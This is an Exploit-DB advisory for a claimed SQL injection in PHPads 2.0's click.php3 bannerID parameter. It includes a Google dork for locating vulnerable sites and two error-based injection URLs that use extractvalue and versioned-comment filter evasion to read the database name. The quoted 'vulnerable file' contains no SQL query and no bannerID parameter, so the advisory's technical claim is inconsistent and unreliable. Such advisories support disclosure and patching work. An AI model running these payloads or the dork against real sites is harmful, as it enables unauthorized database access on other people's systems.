PHPads 2.0 - 'click.php3?bannerID' SQL Injection

EDB-ID:

46798

CVE:

N/A




Platform:

PHP

Date:

2019-05-06


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[+] Sql Injection on PHPads Version 2.0 based on Pixelledads 1.0 by Nile Flores

[+] Date: 05/05/2019

[+] Risk: High

[+] CWE Number : CWE-89

[+] Author: Felipe Andrian Peixoto

[+] Vendor Homepage: https://blondish.net/

[+] Software Demo : https://github.com/blondishnet/PHPads/blob/master/readme.txt

[+] Contact: felipe_andrian@hotmail.com

[+] Tested on: Windows 7 and Gnu/Linux

[+] Dork: inurl:"click.php3?bannerID="" // use your brain ;)

[+] Exploit : 

        http://host/patch//click.php3?bannerID= [SQL Injection]

[+] Vulnerable File :

	    <?php
		$bannerAdsPath = './ads.dat';
		require './ads.inc.php';
		///////////////////////////////////////
		// Don't Edit Anything Below This Line!
		///////////////////////////////////////
		for ($i = 0; $i < count($ads); $i++) {
			if(ereg('^' .$_GET['id']. '\|\|', $ads[$i])) {
				$data = explode('||', $ads[$i]);
			if ($_SERVER['REMOTE_ADDR'] != $bannerAds['blockip']) {
					$data[ PHPADS_ADELEMENT_CLICKTHRUS ]++;
			}
				$ads[$i] = join('||', $data);
				break;
			}
		}
		if (!$data[PHPADS_ADELEMENT_LINK_URI]) {
			die();
		}
		writeads();
		Header("Location: ". $data[PHPADS_ADELEMENT_LINK_URI]);
		exit;
		?>

[+] PoC : 
 
   http://server/phpads/click.php3?bannerID=-1/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x73337830753a,(/*!50000select*/%20database()),0x3a7333783075))--+-
   http:/server/phpAds/click.php3?bannerID=-1/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x73337830753a,(/*!50000select*/%20database()),0x3a7333783075))--+-
   
[+] EOF